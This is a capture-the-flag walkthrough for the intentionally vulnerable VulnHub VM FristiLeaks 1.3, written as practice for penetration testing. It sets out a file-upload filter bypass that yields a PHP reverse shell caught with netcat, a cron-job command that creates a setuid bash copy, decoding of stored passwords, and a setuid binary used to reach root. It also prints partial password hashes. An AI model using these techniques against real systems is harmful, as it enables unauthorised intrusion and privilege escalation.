[VulnHub] FristiLeaks: 1.3

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Categories: oscp, vulnhub, linux

Tags: exploit_php_fileupload, exploit_php_fileupload_bypass, privesc_sudo, privesc_setuid

Overview

This is a writeup for VulnHub VM FristiLeaks: 1.3. Here's an overview of the enumeration \rightarrow exploitation \rightarrow privilege escalation process:




Figure 1: writeup.overview.killchain

Phase #1: Enumeration

1. Here's the Nmap scan result:

🛅 links

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

```
# Nmap 7.70 scan initiated Wed Sep 11 13:59:40 2019 as: nmap -vv --reason -Pn -sV -sC
    → --version-all -oN
    /root/toolbox/vulnhub/fristileaks1.3/results/192.168.92.133/scans/_quick_tcp_nmap.txt -oX
    4 /root/toolbox/vulnhub/fristileaks1.3/results/192.168.92.133/scans/xml/_quick_tcp_nmap.xml
       192.168.92.133
   Nmap scan report for 192.168.92.133
   Host is up, received arp-response (0.00099s latency).
   Scanned at 2019-09-11 13:59:41 PDT for 13s
   Not shown: 999 filtered ports
   Reason: 992 no-responses and 7 host-prohibiteds
         STATE SERVICE REASON
                                        VERSION
                         syn-ack ttl 64 Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
   80/tcp open http
   http-methods:
9
       Supported Methods: GET HEAD POST OPTIONS TRACE
10
   Potentially risky methods: TRACE
11
   | http-robots.txt: 3 disallowed entries
12
   _/cola /sisi /beer
13
   |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
14
   |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
15
   MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
16
17
   Read data files from: /usr/bin/../share/nmap
18
   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
   # Nmap done at Wed Sep 11 13:59:54 2019 -- 1 IP address (1 host up) scanned in 14.00 seconds
20
   2. We find references to 3 directories from robots.txt:
   http://192.168.92.133/cola
   http://192.168.92.133/sisi
2
   http://192.168.92.133/beer
                                                  192.168.92.133/robots.txt
                  192.168.92.133/

    192.168.92.133/robots.txt
```

Figure 2: writeup.enumeration.steps.2.1

3. These directories don't have anything useful other than a meme image. Since all these directory names are references to drinks and the name of this VM also referes to one, we try http://192.168.92.133/fristi and are presented with a login page:



Welcome to #fristileaks admin portal



Figure 3: writeup.enumeration.steps.3.1

Findings

Open Ports:

80/tcp | http | Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

Files

- http://192.168.92.133/robots.txt http://192.168.92.133/fristi
- Users
- ssh: eezeepz, admin, fristigod

Phase #2: Exploitation

1. The source of this page hints at a possible username eezeepz and password encoded within an image embedded as Base64 data in this source:

eezeepz/keKkeKKeKKeKkEkkEk



Figure 4: writeup.exploitation.steps.1.1





Figure 5: writeup.exploitation.steps.1.2

2. We login using these credentials and are presented with a file upload page. We create a PHP reverse shell, add GIF89a magic byte to it start and rename it as rs.php.gif to evade filters and upload the file. Once uploaded the applications informs us of the upload directory as well:

```
rs.php.gif → http://192.168.92.133/fristi/uploads/rs.php.gif
```



Uploading, please wait

The file has been uploaded to /uploads

Figure 6: writeup.exploitation.steps.2.1

3. We start a Netcat listener, issue a request for this file using curl and are presented with the initial shell:

```
nc -nlvp 443
curl -v "http://192.168.92.133/fristi/uploads/rs.php.gif"

root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # curl -v "http://192.168.92.133/fristi/uploads/rs.php.gif"

* Expire in 0 ms for 6 (transfer 0xbbfdd0)

* Trying 192.168.92.133...

* TCP_NODELAY set

* Expire in 200 ms for 4 (transfer 0xbbfdd0)

* Connected to 192.168.92.133 (192.168.92.133) port 80 (#0)

> GET /fristi/uploads/rs.php.gif HTTP/1.1

> Host: 192.168.92.133

> User-Agent: curl/7.64.0

> Accept: */*

> ^C

root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 #
```

Figure 7: writeup.exploitation.steps.3.1

```
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # nc -lvp 443
listening on [any] 443 ...
192.168.92.133: inverse host lookup failed: Unknown host
connect to [192.168.92.163] from (UNKNOWN) [192.168.92.133] 43586
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86 64 GNU/Linux
 10:22:43 up 24 min, 0 users, load average: 0.00, 0.00, 0.00
        TTY
                 FROM
                                   LOGIN@
                                            IDLE
                                                   JCPU
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.1$
sh-4.1$ uname -a
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86 64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86 64 x86 64 x86 64 GNU/Linux
sh-4.1$ ifconfig
ifconfig
          Link encap:Ethernet HWaddr 08:00:27:A5:A6:76
eth0
          inet addr:192.168.92.133 Bcast:192.168.92.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:343696 errors:0 dropped:0 overruns:0 frame:0
          TX packets:199868 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:28339698 (27.0 MiB) TX bytes:30059387 (28.6 MiB)
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:65536
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
sh-4.1$
```

Figure 8: writeup.exploitation.steps.3.2

Phase #2.5: Post Exploitation

```
apache@localhost.localdomain> id
   uid=48(apache) gid=48(apache) groups=48(apache)
   apache@localhost.localdomain>
   apache@localhost.localdomain> uname
   Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015
    apache@localhost.localdomain>
6
   apache@localhost.localdomain> ifconfig
   eth0 Link encap:Ethernet HWaddr 08:00:27:A5:A6:76
         inet addr:192.168.92.133 Bcast:192.168.92.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
10
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
11
         RX packets:343696 errors:0 dropped:0 overruns:0 frame:0
12
         TX packets:199868 errors:0 dropped:0 overruns:0 carrier:0
13
         collisions:0 txqueuelen:1000
         RX bytes:28339698 (27.0 MiB) TX bytes:30059387 (28.6 MiB)
15
   apache@localhost.localdomain>
16
   apache@localhost.localdomain> users
17
   eezeepz
18
   admin
19
   fristigod
```

Phase #3: Privilege Escalation

1. Exploring the filesystem, we come across /var/www/notex.txt file. This file hints looking at the contents of user eezeepz's home directory:

```
cd /var/www
cat notes.txt
```

```
sh-4.1$ pwd
/var/www
pwd
sh-4.1$ ls -la
ls -la
total 28
drwxr-xr-x.
             6 root root 4096 Nov 17
                                      2015 .
                                      2015 ..
drwxr-xr-x. 19 root root 4096 Nov 19
drwxr-xr-x. 2 root root 4096 Aug 24
                                      2015 cgi-bin
drwxr-xr-x. 3 root root 4096 Nov 17
                                      2015 error
drwxr-xr-x. 7 root root 4096 Nov 25
                                      2015 html
drwxr-xr-x. 3 root root 4096 Nov 17
                                      2015 icons
-rw-r--r--
             1 root root
                           98 Nov 17
                                      2015 notes.txt
sh-4.1$
sh-4.1$ cat notes
cat notes.txt
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.
-jerry
sh-4.1$
```

Figure 9: writeup.privesc.steps.1.1

2. We find another interesting file at /home/eezeepz/notes.txt which hints at a possible privesc method:

```
cd /home/eezeepz
cat notes.txt
```

```
sh-4.1$ pwd
/home/eezeepz
bwq
sh-4.1$
sh-4.1$ cat notes.txt
cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

    Jerry

sh-4.1$
```

Figure 10: writeup.privesc.steps.2.1

3. As suggested in the notes file, we create a file /tmp/runthis to execute a command starting with /usr/bin followed by directory traversal strings to copy the bash shell into /tmp directory and setuid on it. Since these commadns are executed within the scope of user admin, wehn we run the /tmp/bash file, we get a shell as user admin:

```
echo -e "/usr/bin/../../bin/cp /bin/bash /tmp/bash; chmod u+s /tmp/bash" >/tmp/runthis /tmp/bash -p
```

```
bash-4.1$ cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
bash-4.1$
bash-4.1$ cd /tmp
bash-4.1$ ls -l
total 908
-rwsr-xr-x 1 admin admin 906152 Sep 11 13:51 bash
-rw-r--r-- 1 admin admin 14233 Sep 11 13:52 cronresult
-rw-rw-rw- 1 apache apache 63 Sep 11 10:41 runthis
bash-4.1$
bash-4.1$ cat runthis
/usr/bin/../../bin/cp /bin/bash /tmp/bash; chmod u+s /tmp/bash
bash-4.1$
bash-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$
bash-4.1$ ./bash -p
bash-4.1$
bash-4.1$ id
uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)
bash-4.1$
```

Figure 11: writeup.privesc.steps.3.1

4. We move into /home/admin directory and find a reversed, Base64 encoded string within whoisyourgodnow.txt file, that is owned by user fristigod. We also find a Python script cryptpass.py in this directory. Looking at the script, we reverse the encoding process and add a decoding method to it. Testing updated script with =RFnOAKnlMHMPIzpyuTIOITG reveals the password for user fristigod to be LetThereBeFristi!. We the use su to switch user:

```
cat whoisyourgodnow.txt
cat cryptpass.py
python cryptpass.py =RFnOAKnlMHMPIzpyuTIOITG
su - fristigod
```

```
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # cat cryptpass.py
import base64,codecs,sys

def encodeString(str):
    base64string=base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
    return base64.b64decode(codecs.encode(str[::-1], 'rot13'))

print encodeString(sys.argv[1])
print decodeString(sys.argv[1])
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 #
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # python cryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
UEIFjxRIlyUp6yRHAUHGf52F0OwoTWIC
LetThereBeFristi!
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 #
```

Figure 12: writeup.privesc.steps.4.1

```
bash-4.1$ cd /home/admin/
bash-4.1$
bash-4.1$
bash-4.1$ ls -la
total 656
drwx----. 2 admin
                        admin
                                    4096 Sep 11 11:17 .
drwxr-xr-x. 5 root
                        root
                                    4096 Nov 19 2015 ...
-rw----- 1 admin
                                     261 Sep 11 11:17 .bash history
                        admin
-rw-r--r-. 1 admin
                        admin
                                      18 Sep 22 2015 .bash logout
-rw-r--r--. 1 admin
                                                 2015 .bash profile
                        admin
                                     176 Sep 22
-rw-r--r-. 1 admin
                        admin
                                     124 Sep 22
                                                 2015 .bashrc
-rwxr-xr-x 1 admin
                        admin
                                   45224 Nov 18
                                                 2015 cat
-rwxr-xr-x 1 admin
                        admin
                                   48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin
                        admin
                                     737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin
                        admin
                                      21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin
                        admin
                                     258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin
                        admin
                                   90544 Nov 18 2015 df
-rwxr-xr-x 1 admin
                        admin
                                   24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin
                        admin
                                  163600 Nov 18
                                                 2015 egrep
-rwxr-xr-x 1 admin
                        admin
                                  163600 Nov 18
                                                 2015 grep
-rwxr-xr-x 1 admin
                        admin
                                   85304 Nov 18
                                                 2015 ps
-rw-r--r-- 1 fristigod fristigod
                                      25 Nov 19
                                                 2015 whoisyourgodnow.txt
bash-4.1$
bash-4.1$
bash-4.1$
bash-4.1$ cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
bash-4.1$
bash-4.1$
bash-4.1$ su - fristigod
Password:
-bash-4.1$
-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
-bash-4.1$
```

Figure 13: writeup.privesc.steps.4.2

5. Looking at the file cryptedpass.txt, which is owned by user admin, we see a similar encoded string as before and repeat the process to get decoded the decoded password thisisalsopw123. We use this to switch user:

```
cat cryptedpass.txt
cat cryptpass.py
python cryptpass.py mVGZ303omkJLmy2pcuTq
su - admin
```

```
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # python cryptpass.py mVGZ303omkJLmy2pcuTq
=RUI1ATplxKoZc0ng92ZCAwJUMIo
thisisalsopw123
root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 #
```

Figure 14: writeup.privesc.steps.5.1

```
bash-4.1$ pwd
/home/admin
bash-4.1$
bash-4.1$ ls -l
total 632
-rwxr-xr-x 1 admin
                       admin
                                  45224 Nov 18
                                                 2015 cat
-rwxr-xr-x 1 admin
                       admin
                                  48712 Nov 18
                                                 2015 chmod
-rw-r--r-- 1 admin
                       admin
                                     737 Nov 18
                                                 2015 cronjob.py
-rw-r--r-- 1 admin
                       admin
                                                 2015 cryptedpass.txt
                                      21 Nov 18
-rw-r--r-- 1 admin
                       admin
                                     258 Nov 18
                                                 2015 cryptpass.py
-rwxr-xr-x 1 admin
                       admin
                                  90544 Nov 18
                                                 2015 df
-rwxr-xr-x 1 admin
                       admin
                                  24136 Nov 18
                                                 2015 echo
-rwxr-xr-x 1 admin
                       admin
                                  163600 Nov 18
                                                 2015 egrep
                       admin
-rwxr-xr-x 1 admin
                                  163600 Nov 18
                                                 2015 grep
-rwxr-xr-x 1 admin
                       admin
                                  85304 Nov 18
                                                 2015 ps
-rw-r--r-- 1 fristigod fristigod
                                      25 Nov 19
                                                 2015 whoisyourgodnow.txt
bash-4.1$
bash-4.1$
bash-4.1$ cat cryptedpass.txt
mVGZ303omkJLmy2pcuTq
bash-4.1$
bash-4.1$ id
uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)
bash-4.1$
bash-4.1$ su - admin
Password:
[admin@localhost ~]$
[admin@localhost ~]$ id
uid=501(admin) gid=501(admin) groups=501(admin)
[admin@localhost ~]$
```

Figure 15: writeup.privesc.steps.5.2

6. We return to being user fristigod and explore their home directory. Within the ./bash_history file we find references to a local, setuid file .secret_admin_stuff/doCom:

```
cd /home/fristigod
cat .bash_history
```

```
-bash-4.1$ cat .bash history
ls
bwq
ls -lah
cd .secret admin stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret admin stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret admin stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret admin stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret admin stuff/doCom
sudo -u fristi /var/fristigod/.secret admin stuff/doCom
sudo -u fristi /var/fristigod/.secret admin stuff/doCom
sudo /var/fristigod/.secret admin stuff/doCom
exit
```

Figure 16: writeup.privesc.steps.6.1

```
-bash-4.1$ ls -l .secret_admin_stuff/
total 8
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
-bash-4.1$
```

Figure 17: writeup.privesc.steps.6.2

7. Using examples from .bash_history, we run the setuid file to execute /bin/bash and gain elevated privileges:

```
sudo -u fristi ./doCom "/bin/bash"
```

```
-bash-4.1$ sudo -u fristi ./doCom "/bin/bash"
bash-4.1#
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
bash-4.1#
bash-4.1# uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
bash-4.1#
bash-4.1#
bash-4.1# whoami
root
bash-4.1#
bash-4.1#
bash-4.1# ifconfig
         Link encap:Ethernet HWaddr 08:00:27:A5:A6:76
eth0
          inet addr:192.168.92.133 Bcast:192.168.92.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:348065 errors:0 dropped:0 overruns:0 frame:0
         TX packets:202048 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
         RX bytes:28652907 (27.3 MiB) TX bytes:30264796 (28.8 MiB)
lo
         Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536 Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
         RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
bash-4.1#
```

Figure 18: writeup.privesc.steps.7.1

8. We then explore root's home directory and find the flag within /root/fristileaks_secrets.txt file:

```
cd /root cat fristileaks_secrets
```

```
bash-4.1# cd /root/
bash-4.1#
bash-4.1#
bash-4.1# ls -la
total 48
dr-xr-x---. 3 root root 4096 Nov 25 2015 .
dr-xr-xr-x. 22 root root 4096 Sep 11 09:58 ...
-rw----- 1 root root 1936 Nov 25 2015 .bash history
-rw-r--r--. 1 root root 18 May 20 2009 .bash logout
-rw-r--r-. 1 root root 176 May 20 2009 .bash profile
-rw-r--r--. 1 root root 176 Sep 22 2004 .bashrc
drwxr-xr-x. 3 root root 4096 Nov 25 2015 .c
-rw-r--r-. 1 root root 100 Sep 22 2004 .cshrc
-rw-----. 1 root root 246 Nov 17 2015 fristileaks secrets.txt
-rw-----. 1 root root 1291 Nov 17 2015 .mysql history
-rw-r--r-. 1 root root 129 Dec 3 2004 .tcshrc
-rw-----. 1 root root 829 Nov 17 2015 .viminfo
bash-4.1#
bash-4.1#
bash-4.1#
bash-4.1# cat fristileaks secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: You know you love fr1st1
bash-4.1#
```

Figure 19: writeup.privesc.steps.8.1

Loot

Hashes

```
root:$6$qAoeosiW$fsOy8H/VKux.9KOT3Ww2D3FPN1O5LAaFytx/6t69Q7LPDSS/nNiP4xzqOQab.Iz3uy5fYdH3Aw/

K5v3ZM.....

eezeepz:$6$djF4bN.s$JWhT7wJo37fgtuJ.be2Q62PnM/AogXuqGa.PgRzrMGv9/ThOaixBX18Usy9.RkO1ZRAQ/

UM3xP7oGWu9z.....

admin:$6$NPXhvENr$yG4a5RpaLpL5UDRRZ3TsOeZadZfFFbYpI1kyNJp9rNDOAySx2FhYSmAvY.91

UzETJVvZcDjWb2pp85uLA......

fristigod:$6$OWqnZ1I/$gIzMByP7rH21W3neA.uHYZZg5aM7gI1xtOj8WwgoK1QgQh2LWLOnQBJau/

mGcOSxLbaGJhJjM.6HNJTW.....
```

Credentials

```
ssh: admin/thisisalsop...., fristigod/LetThereBeF.....

http://eezeepz/keKkeKKeKke....
```

Flags

Y0u_kn0w_y0u_l0ve_f....

References

- [+] https://www.vulnhub.com/entry/fristileaks-13,133/
- [+] https://highon.coffee/blog/fristileaks-walkthrough/
- [+] https://kongwenbin.wordpress.com/2017/12/31/write-up-for-fristileaks-v1-3-vulnhub/